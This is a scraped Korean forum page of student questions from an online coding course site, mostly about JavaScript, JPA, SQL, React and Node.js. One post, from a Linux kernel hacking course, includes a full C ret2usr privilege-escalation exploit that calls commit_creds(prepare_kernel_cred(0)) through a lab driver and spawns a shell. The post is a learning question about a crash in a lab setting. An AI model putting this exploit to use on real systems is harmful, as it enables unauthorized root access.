묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결몇 줄로 끝내는 인터랙티브 웹 개발 노하우 [초급편]
질문있습니다~
두가지 질문이 있습니다~ 첫번째는 let curser_item; 을 밖으로 빼줄때 document.getElementsByClassName("curser_item")[0]; 도 같이 빼주지않는 이유가 있을까요?let curser_item = 0; 이라고 안넣는 이유는 무엇인가요?두번째 질문은 document.querySelector(selectors);를 쓰면 [0] 배열을 안써도 되나요?
-
미해결리눅스 커널 해킹. A부터 Z까지
이론강의 자료 다운로드 문의
안녕하세요? 강의 잘 듣고 있습니다. 이론 강의 자료는 다운로드 불가능한가요??
-
해결됨[리뉴얼] React로 NodeBird SNS 만들기
안녕하세요 제로초님
이번 강의에서 swr을 도입하셨는데 제가 이해한게 맞다면 리덕스와는 완전히 별개라고 봐도 되나요? 그렇다면 극단적으로 생각했을 때 넥스트에 리덕스와 리덕스 사가 도입없이 swr만 도입해도 현재와 비슷하게 구현이 가능한가요? swr은 데브툴즈를 사용할 수 없는데 리덕스에 비해서 디버깅이 많이 어렵지는 않을까요..?
-
미해결자바 ORM 표준 JPA 프로그래밍 - 기본편
영한센세 members를 가져오는 과정에 대해서 질문이 있습니다!!!
제가 이해한 바로는 Team team = new Team(); team.setName("TeamA"); entityManager.persist(team); Member member = new Member(); member.setUsername("member1"); member.setTeam(team); entityManager.persist(member);// team.getMembers().add(member);// entityManager.flush();// entityManager.clear(); Team findTeam = entityManager.find(Team.class, team.getId()); List<Member> members = findTeam.getMembers(); for (Member m : members) { System.out.println("member = " + m.getUsername()); } (위의 코드는 강의에서 작성해주셨던 코드와 동일합니다) 제가 이해한 바로는 "flush, clear를 하지 않음으로써 그 상태의 영속성 컨텍스트에 등록된 Team과 Member 기준으로 members의 값을 가져오기 때문에 System.out.println("member = " + m.getUsername()); 위 코드에 대한 출력이 되지 않는것으로 이해했습니다 ㅠㅠ!" 제가 이해한 바가 맞을까요 센세...? 이게 만약 맞다면 "추가적으로 " flush 와 clear를 하는 과정에서 "원래 commit 시점에 쿼리가 발생하여 1차 캐시 혹은 DB에 값을 적재하는것이 정상이지만 flush 를 사용하는 시점에 해당과정을 즉시 실행하여 데이터를 적재시키고 다음으로 clear를 함으로써 비영속상태로 만들어 getMembers(); 시에 JOIN쿼리를 발생시켜 members와 관련된 데이터를 반영시킨다고 이해하였습니다." 마지막으로 "getMembers를 하는 과정에서 Member들을 가져오는 join 쿼리를 날리는 과정은 무조건 비영속 상태이어야만 하는지가 궁금합니다." 질문이 많았죠 센세... 항상 넘나 재밌게 잘 보고 있습니다~!!! JPA를 실무에서 사용한적이 없어서... 이런저런 궁금한점이 참 많습니당... 항상 감사합니다!!!!!
-
미해결리눅스 커널 해킹. A부터 Z까지
ret2usr 기법 관련 질문있습니다.
안녕하세요. ret2usr 실습을 해보다가 궁금한 점이 생겨서 질문드립니다. /* gcc -masm=intel -static -o test_exp test_exp.c -no-pie */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdint.h> unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void payload(void) { commit_creds(prepare_kernel_cred(0)); execl("/bin/sh", "sh", NULL); } int main() { int fd; void *ptr = 0; commit_creds = 0xffffffff8108e9f0; prepare_kernel_cred = 0xffffffff8108ec20; fd = open("/dev/test", O_RDWR); ptr = &payload; printf("Shell executing...\n"); write(fd, &ptr, sizeof(ptr)); close(fd); printf("Shell executed?\n"); return 0; } payload함수의 주소를 넘겨주고, 이걸 커널에서 fp_exec() 로 실행할 수 있으니,위의 코드처럼 그냥 shell 함수를 commit_creds(prepare_kernel_cred(0)) 이후에 execl 을 하도록 수정한 뒤, test 드라이버에 shell 함수의 주소를 넘겨서 테스트해보았습니다. 결과적으로는 커널 패닉이 났고, gdb 로 어느정도 디버깅을 해보았지만 심볼이 없다보니 정확히 어느 부분에서 패닉이 나는지 찾기 어렵더라구요. 그래서 커널 모드에서 유저 모드로의 전환없이 execv 시스템콜을 호출하려고 해서 패닉이 났을거라고 추측은 해봤는데, 이 추측이 맞은 것인지 궁금합니다.
-
미해결초보자도 만들 수 있는 스크롤 인터렉션. 1편 자바스크립트
2:40
`${}` 이렇게 쓰는 것을 배운적이 잇는데 해당 부분에서는 ``부분이 없고 ${} 이 아이만 써주었던데.. 왜 그런건지 혹시 알 수 있을까요? function 앞에 $이거를 왜 써준 것인지도 궁금해요..ㅠㅠ 혹시 jquery 개념도 알아야하나요? html,css, javascript로만해서 따라갈 수 있을 줄 알았는데 너무 어렵네요..하 어려워서 자바스크립트 배우고 이제 들어보려 했더니 코드가 튕겨 나가버리네요. 제이쿼리를 다시 배우고 와야하는건가..
-
미해결실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발
안녕하세요! 동적쿼리에 대한 질문이 있습니다.
현재 2년차가 되가고 있는 주니어개발자입니다 ( _ _) 아직 경험이 많이 없어 현재 쿼리를 처리하는 퍼시스턴트 프레임워크를 mybaits 정도 밖에 써보지 못 했습니다 선생님께서 말씀하신 것처럼 쿼리를 JPQL로 작성해서 처리할 수 있다고 하셨는데... 아래는 제가 mybatis로 api 처리하고 있는 쿼리입니다. 이런 다소 지저분하고 복잡한 쿼리도 실무에서는 JPQL로 처리를 하나요??? SELECT /* windowClosingPosData */ b.paymentType ,MAX(b.gdName) as gdName ,b.payMethod ,SUM(b.personCnt) as personCnt /* 수량 */ ,SUM(b.price) as price /* 금액 */ ,SUM(b.discountCount) as discountCnt /* 할인매수 */ ,SUM(b.discountAmount) as discount /* 할인금액 */FROM ( SELECT a.paymentType ,a.gdName ,a.payMethod ,( CASE WHEN a.paymentType = 'PAY' THEN a.ticketCount WHEN a.paymentType = 'CANCEL' THEN a.refundCount ELSE 0 END ) as personCnt /* 수량 */ ,( CASE WHEN a.paymentType = 'PAY' THEN a.ticketAmount WHEN a.paymentType = 'CANCEL' THEN a.refundAmount ELSE 0 END ) as price /* 금액 */ ,a.discountCount /* 할인 수량 */ ,a.discountAmount /* 할인 금액 */ FROM ( SELECT 'PAY' as paymentType ,gd.gd_name as gdName ,pm.pm_pay_method as payMethod ,rd.init_rs_ticket_cnt as ticketCount /* 발권매수 */ ,(rd.init_rs_ticket_cnt * rd_price) as ticketAmount /* 발권금액 */ ,0 as refundCount /* 환불매수 */ ,0 as refundAmount /* 환불금액 */ ,( CASE WHEN ifnull(rd.dc_unit_price,0) > 0 THEN rd.init_rs_ticket_cnt ELSE 0 END ) as discountCount /* 할인매수 */ ,(rd.init_rs_ticket_cnt * rd.dc_unit_price) as discountAmount FROM t_reserve_detail rd INNER JOIN t_reserve rs ON rd.rs_seq = rs.rs_seq INNER JOIN t_goods gd ON rs.gd_seq = gd.gd_seq INNER JOIN t_payment pm ON rs.rs_seq = pm.rs_seq AND pm.pm_payment_type = 'PAY' WHERE EXISTS ( SELECT trdp.rs_seq FROM t_reserve_detail_person trdp WHERE trdp.tkt_date = DATE_FORMAT(#{searchDate}, '%Y%m%d') AND trdp.idkey = #{idkey} AND trdp.tkt_win_cd = #{winCd} AND trdp.rs_seq = rs.rs_seq ) AND (rs.gd_package_yn = 'Y' OR (rs.rs_package_yn = 'N' AND rs.gd_package_yn = 'N')) AND rs.insert_idkey = #{memberSeq} UNION ALL SELECT 'CANCEL' as paymentType ,gd.gd_name as gdName ,pm.pm_pay_method as payMethod ,0 as ticketCount /* 발권매수 */ ,0 as ticketAmount /* 발권금액 */ ,rd.cancel_ticket_cnt as refundCount /* 환불매수 */ ,(rd.cancel_ticket_cnt * rd_price) as refundAmount /* 환불금액 */ ,0 as discountCount /* 할인매수 */ ,0 as discountAmount FROM t_reserve_detail rd INNER JOIN t_reserve rs ON rd.rs_seq = rs.rs_seq INNER JOIN t_goods gd ON rs.gd_seq = gd.gd_seq INNER JOIN t_payment pm ON rs.rs_seq = pm.rs_seq AND pm.pm_payment_type = 'PAY' WHERE EXISTS ( SELECT trdp.rs_seq FROM t_reserve_detail_person trdp WHERE trdp.tkt_date = DATE_FORMAT(#{searchDate}, '%Y%m%d') AND trdp.idkey = #{idkey} AND trdp.cancel_win_cd = #{winCd} AND trdp.cancel_member_seq = #{memberSeq} AND trdp.rs_seq = rs.rs_seq ) AND (rs.gd_package_yn = 'Y' OR (rs.rs_package_yn = 'N' AND rs.gd_package_yn = 'N')) AND rs.rs_status = 'D' ) a) bGROUP BY b.paymentType ,b.payMethodORDER BY b.payMethod, b.paymentType DESC JPQL 강의도 들을 계획이지만 이렇게 복잡한 부분을 java단에서 처리한다는게 상상이 되지 않아서 질문드려봅니다 ㅠㅠ
-
미해결[백문이불여일타] 데이터 분석을 위한 기초 SQL
숫자입력할 때는 홑따옴표 안쓰나요?
문자 입력시에만 홑따옴표를 쓰는건가요???
-
미해결[백문이불여일타] 데이터 분석을 위한 기초 SQL
NULL 값을 찾을 때요,
여러개 열에 널값이 있는 경우에 AND나 OR을 이용해서 널값을 찾을 수 있나요? 예를 들면, NAME과 CITY 모두 널값인 경우나, 아니면 NAME 또는 CITY가 널값인 경우를 모두 찾고 싶을 때요! WHERE NAME IS NULL AND(또는 OR) CITY IS NULL; 이렇게 하면 되나요??
-
스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
th:href 질문 있습니다.
삭제된 글입니다
-
미해결코로나맵 개발자와 함께하는 지도서비스 만들기 2
카카오api 발급 및 적용 강의를 듣고 적용해보니 upload페이지에서 지도가 안나와서 문의드려요
강의와 관련있는 질문을 남겨주세요.• 강의와 관련이 없는 질문은 지식공유자가 답변하지 않을 수 있습니다. (사적 상담, 컨설팅, 과제 풀이 등)• 질문을 남기기 전, 비슷한 내용을 질문한 수강생이 있는지 먼저 검색을 해주세요. (중복 질문을 자제해주세요.)• 서비스 운영 관련 질문은 인프런 우측 하단 ‘문의하기’를 이용해주세요. (영상 재생 문제, 사이트 버그, 강의 환불 등) 질문 전달에도 요령이 필요합니다.• 지식공유자가 질문을 좀 더 쉽게 확인할 수 있게 도와주세요.• 강의실 페이지(/lecture) 에서 '질문하기'를 이용해주시면 질문과 연관된 수업 영상 제목이 함께 등록됩니다.• 강의 대시보드에서 질문을 남길 경우, 관련 섹션 및 수업 제목을 기재해주세요. • 수업 특정 구간에 대한 질문은 꼭 영상 타임코드를 남겨주세요! 구체적인 질문일수록 명확한 답을 받을 수 있어요.• 질문 제목은 핵심 키워드를 포함해 간결하게 적어주세요.• 질문 내용은 자세하게 적어주시되, 지식공유자가 답변할 수 있도록 구체적으로 남겨주세요.• 정확한 질문 내용과 함께 코드를 적어주시거나, 캡쳐 이미지를 첨부하면 더욱 좋습니다. 기본적인 예의를 지켜주세요.• 정중한 의견 및 문의 제시, 감사 인사 등의 커뮤니케이션은 더 나은 강의를 위한 기틀이 됩니다. • 질문이 있을 때에는 강의를 만든 지식공유자에 대한 기본적인 예의를 꼭 지켜주세요. • 반말, 욕설, 과격한 표현 등 지식공유자를 불쾌하게 할 수 있는 내용은 스팸 처리 등 제재를 가할 수 있습니다. 안녕하세요^^ 강의 잘 듣고 따라하고 있습니다. 현재 막히는 부분이 있어서 문의드려요~ "카카오api 발급 및 적용 강의"를 듣고 적용해보니 upload페이지에서 지도가 안나오네요 ㅠㅠ 카카오 api와 vsc부분을 캡쳐를 해서 드리겠습니다. 틀린 부분이 있으면 알려주세요 ^^
-
해결됨[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
질문있습니다
안녕하세요! 제가 궁금한 것은 PostHashTag 조인 테이블 이외에 Post와 HashTag사이에 조인테이블을 추가로 만들 경우, 각 조인테이블을 어떻게 구분해서 add나 set, get 메소드를 사용해서 테이블을 다루는지 궁금합니다. 예를 들어, Post와 Hashtag테이블 사이에 PostHashTag2라는 조인 테이블을 추가로 생성했다고 하면, post에 hashtag를 추가하는 경우, PostHashTag2 테이블에 데이터를 넣고 싶다고 한다면, post.addPostHashTag2(values..) 이렇게 해야 할까요? 여러가지 시도를 해봤는데, 구분해서 들어가지가 않아서요..
-
미해결실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발
질문있습니다!
강의 5분 30초즈음에 하나의 유닛 테스트만 진행하고자 한 것인데,왜 해당 유닛 테스트의 오류도 아닌 이전에 만들어놨던 다른 테스트 클래스의 오류로 테스트가 종료당하는 건가요?테스트는 서로 독립적이지 않나요?
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
버전? 궁금합니다.
안녕하세요. 완젼 초보입니다. 수강하는데 표현된 자바스크립트가 제가 배운거랑 표현이 조금 다르던데요 예를 들면 if문 사용시 {} 없이 나온다던가 이거에 대한 정보 부탁드립니다.
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
403error가 발생합니다.
안녕하세요 제로초님. 회원가입 페이지에서 가입하기를 누르면 아래와 같이 403에러가 발생합니다. back/routes/user.js if(exUser){ console.log(`exUser! ${JSON.stringify(exUser)}`) return res.status(403).send('이미 사용중인 아이디 압니다.'); } 해당 아이디가 존재하지 않는데 if(exUser === true) 에 걸려서 못넘어같은데 해당 원인을 찾지못하고있어 질문드립니다. --------------------git주소------------------------ https://github.com/812jay/react-nodebird --------------------------------------------------- 감사합니다.
-
미해결초보를 위한 쿠버네티스 안내서
강사님 shell 환경이 궁금합니다.
강의 실습에 사용되는 shell 환경이 어떻게 되는지 알 수 있을까요? zsh theme를 사용하시는지요? 사용하신다면 어떤 theme를 사용하시는지요>?
-
미해결비전공자를 위한 개발자 취업 올인원 가이드 [취업편]
강의자료 질문드립니다.
안녕하세요. 강의 수강을 시작하려고 하는데 강의ppt는 다운받을 수 없는건가요?? 아니면 제가 못 찾고 있는 것일까요...? 만약 다운받을 수 있다면 어떻게 다운받을 수 있을지 알려주시면 감사하겠습니다.
-
미해결피그마(Figma)를 활용한 UI디자인 입문부터 실전까지 A to Z
오픈 소스 템플릿 관련 질문
종합 실전예제3. 이커머스 앱 UI 디자인- 오픈소스 템플릿을 활용한 UI 디자인 기초작업 강의에서 질문드립니다. 강의에서 제공해주신 링크로 들어가서 IOS UI kit에서 탭바와 상태바를 복사해왔습니다. 탭바의 경우 강의에서 본 것과 달리 배경색이 분홍색으로 보였습니다. 그런데 프로토타입을 실행시켜보니 탭바의 분홍색이 보이지 않았습니다. 이 분홍색이 무엇을 의미하는지가 궁금합니다.
-
미해결프로그래밍 시작하기 : 파이썬 입문 (Inflearn Original)
중첩함수 질문입니다.
안녕하세요. def nested_func(num): def func_in_func(num): print(num) print("In func") func_in_func(num + 100) nested_func(100) 수업 예제 코드에서 print(num)이 있는데, num은 문자라서 print가 안 되긴 하는 것 같은데, 저 코드가 꼭 들어가야 하는 이유가 무엇인가요? 코드 논리 흐름이 좀.. 잘 이해가 안 되네요.. 논리 흐름좀 짚어서 설명해주시면 감사하겠습니다!
-
미해결Axure RP 9,10 - 서비스 기획자를 위한 최적의 프로토타이핑 툴
Page Load시 Master의 각각 다른 View로 보이게 할 수 있나요?
Page Load시 Master의 각각 다른 View로 보이게 할 수 있나요?